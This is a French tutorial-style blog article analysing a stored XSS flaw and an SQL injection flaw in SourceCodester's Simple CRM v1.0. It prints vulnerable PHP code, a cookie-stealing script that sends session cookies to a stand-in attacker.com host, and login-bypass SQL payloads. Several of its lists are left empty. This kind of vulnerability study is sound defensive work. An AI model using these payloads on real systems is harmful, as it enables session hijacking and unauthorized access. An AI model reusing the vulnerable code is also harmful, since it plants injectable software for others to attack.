
Analyse pédagogique de CVE-2023-24203 (XSS stocké) et CVE-2023-24204 (Injection SQL) dans SourceCodester CRM, avec étapes d'exploitation et stratégies d'atténuation.
Dans le paysage en constante évolution de la cybersécurité, les applications web restent une cible de choix pour les attaquants cherchant à exploiter des vulnérabilités. Récemment, deux vulnérabilités critiques ont été découvertes dans le système Simple Customer Relationship Management (CRM) v1.0 de SourceCodester : CVE-2023-24203 et CVE-2023-24204. Ces vulnérabilités, impliquant du Cross-Site Scripting (XSS) et de l'injection SQL, présentent des risques importants, notamment l'exécution de code arbitraire et l'accès non autorisé. Comprendre ces vulnérabilités et leurs impacts est essentiel pour les développeurs et les professionnels de la sécurité afin de protéger les systèmes contre les menaces potentielles.
Le Cross-Site Scripting (XSS) est un type de vulnérabilité qui survient lorsqu'une application web permet aux utilisateurs d'injecter des scripts malveillants dans des pages web consultées par d'autres utilisateurs. Cela peut entraîner des actions non autorisées au nom de l'utilisateur, le vol de données et une exploitation plus poussée. Les vulnérabilités XSS peuvent être classées en trois types principaux :
L'injection SQL est un type de vulnérabilité qui survient lorsqu'un attaquant parvient à manipuler des requêtes SQL en injectant du code SQL arbitraire dans une requête. Cela peut conduire à un accès non autorisé, au vol de données et à d'autres activités malveillantes. L'injection SQL se produit généralement en raison d'une validation insuffisante des entrées et de l'absence de requêtes paramétrées. Les principaux impacts de l'injection SQL sont les suivants :
Dans cet article de blog, nous allons examiner en détail CVE-2023-24203 et CVE-2023-24204, en explorant les spécificités de ces vulnérabilités, leurs vecteurs d'attaque, leurs impacts et les stratégies d'atténuation. Comprendre ces vulnérabilités en profondeur est crucial pour protéger vos applications et vos données contre les exploits potentiels.
Les vulnérabilités d'injection SQL sont souvent le résultat d'une validation inadéquate des entrées et de mauvaises pratiques de codage. Certaines causes courantes sont les suivantes :
Les vulnérabilités de Cross-Site Scripting (XSS) sont généralement causées par une mauvaise gestion des entrées et sorties utilisateur. Les causes courantes sont les suivantes :
CVE-2023-24203 est une vulnérabilité de Cross-Site Scripting (XSS) stocké trouvée dans le composant get-quote.php du système Simple Customer Relationship Management (CRM) v1.0 de SourceCodester. Cette vulnérabilité permet à un attaquant d'injecter des scripts malveillants dans les paramètres company et query, qui sont ensuite stockés dans la base de données et exécutés lorsqu'un administrateur les consulte, conduisant à l'exécution de code arbitraire.
La vulnérabilité réside dans le script get-quote.php, qui traite les entrées utilisateur d'un formulaire de demande de devis. Le code source PHP est présenté ci-dessous :
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
Le script prend les entrées utilisateur du formulaire (name, email, contact, company, services, other et query) et les intègre directement dans une requête SQL pour stocker les données dans la base de données. Alors que l'entrée services est assainie à l'aide de mysqli_real_escape_string et addslashes, les paramètres company et query ne sont pas correctement assainis ni encodés lorsqu'ils sont renvoyés dans la réponse. Ce manque d'assainissement et d'encodage appropriés permet l'injection et le stockage de scripts malveillants dans la base de données.
Pour exploiter cette vulnérabilité, un attaquant peut élaborer une charge utile contenant du code JavaScript malveillant dans le paramètre company ou query. Lorsque l'administrateur consulte la demande de devis, le script injecté s'exécutera dans son navigateur.
En soumettant la charge utile suivante dans le paramètre query :
<script>alert('XSS');</script>
L'attaquant peut déclencher une attaque XSS lorsque l'administrateur consulte la demande de devis.
Une charge utile plus dangereuse peut être élaborée pour voler les cookies de session de l'administrateur. En utilisant la charge utile suivante dans le paramètre query :
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>
L'attaquant peut envoyer les cookies de l'administrateur à un serveur distant contrôlé par l'attaquant.
Soumettre une demande de devis malveillante : L'attaquant remplit le formulaire de demande de devis en injectant la charge utile malveillante dans le champ company ou query.
<form method="post" action="get-quote.php">
<input type="text" name="company" value="CompanyX"><br>
<input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
<input type="submit" name="submit" value="Submit">
</form>
L'administrateur consulte la demande : Lorsque l'administrateur se connecte au système CRM et consulte le devis soumis, le script malveillant s'exécute dans son navigateur, envoyant ses cookies de session au serveur de l'attaquant.
L'exploitation réussie de cette vulnérabilité de XSS stocké permet à un attaquant d'exécuter du JavaScript arbitraire dans le contexte du navigateur de l'administrateur. Cela peut conduire à diverses actions malveillantes, notamment :
Pour atténuer cette vulnérabilité, il est essentiel d'assainir et d'encoder toutes les entrées utilisateur avant de les intégrer dans la page web. Concrètement :
CVE-2023-24204 est une vulnérabilité d'injection SQL trouvée dans les composants get-quote.php et login.php du système Simple Customer Relationship Management (CRM) v1.0 de SourceCodester. Cette vulnérabilité permet à un attaquant d'injecter des commandes SQL arbitraires dans la base de données, ce qui peut potentiellement conduire à un accès non autorisé et à une manipulation des données.
La vulnérabilité d'injection SQL est présente à la fois dans les scripts get-quote.php et admin/login.php. Voici une analyse de la manière dont ces vulnérabilités se manifestent et peuvent être exploitées.
Le script get-quote.php traite les entrées utilisateur d'un formulaire de demande de devis. Le code source est présenté ci-dessous :
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
Examinons également la logique du code source de login.php.
<?php
session_start();
error_reporting(0);
include("dbconnection.php");
if(isset($_POST['login']))
{
$ret=mysqli_query($con,"SELECT * FROM user WHERE email='".$_POST['email']."' and password='".$_POST['password']."'");
$num=mysqli_fetch_array($ret);
if($num>0)
{
$_SESSION['login']=$_POST['email'];
$_SESSION['id']=$num['id'];
$_SESSION['name']=$num['name'];
$val3 =date("Y/m/d");
date_default_timezone_set("Asia/Calcutta");
$time=date("h:i:sa");
$tim = $time;
$ip_address=$_SERVER['REMOTE_ADDR'];
$geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip_address;
$addrDetailsArr = unserialize(file_get_contents($geopluginURL));
$city = $addrDetailsArr['geoplugin_city'];
$country = $addrDetailsArr['geoplugin_countryName'];
ob_start();
system('ipconfig /all');
$mycom=ob_get_contents();
ob_clean();
$findme = "Physical";
$pmac = strpos($mycom, $findme);
$mac=substr($mycom,($pmac+36),17);
$ret=mysqli_query($con,"insert into usercheck(logindate,logintime,user_id,username,email,ip,mac,city,country)values('".$val3."','".$tim."','".$_SESSION['id']."','".$_SESSION['name']."','".$_SESSION['login']."','$ip_address','$mac','$city','$country')");
$extra="dashboard.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
$_SESSION['action1']="Invalid username or password";
$extra="login.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}
?>
Le script get-quote.php n'assainit pas de manière adéquate le paramètre name. Un attaquant peut intercepter la requête à l'aide d'un outil comme Burp Suite, modifier le paramètre name et injecter des commandes SQL malveillantes.
Le script login.php est vulnérable au contournement d'authentification en raison de l'absence de validation appropriée des entrées sur les champs email et password. Un attaquant peut utiliser une charge utile telle que hack' or 1=1;# pour contourner l'authentification et obtenir un accès.
' OR '1'='1';--
Soumettre la requête modifiée : Envoyez la requête modifiée au serveur. La commande SQL injectée sera exécutée par la base de données.
Exploitation de login.php
Accéder à la page de connexion : Rendez-vous sur la page login.php.
Saisir la charge utile malveillante : Utilisez une charge utile telle que hack' or 1=1;# dans le champ email et une chaîne quelconque dans le champ password.
L'exploitation réussie de ces vulnérabilités d'injection SQL peut conduire à diverses actions malveillantes, notamment :
Atténuation
Pour atténuer ces vulnérabilités, il est essentiel de mettre en œuvre une validation appropriée des entrées et d'utiliser des requêtes paramétrées. Concrètement :
En suivant ces bonnes pratiques, vous pouvez réduire considérablement le risque d'attaques par injection SQL et protéger votre application web contre une exploitation potentielle.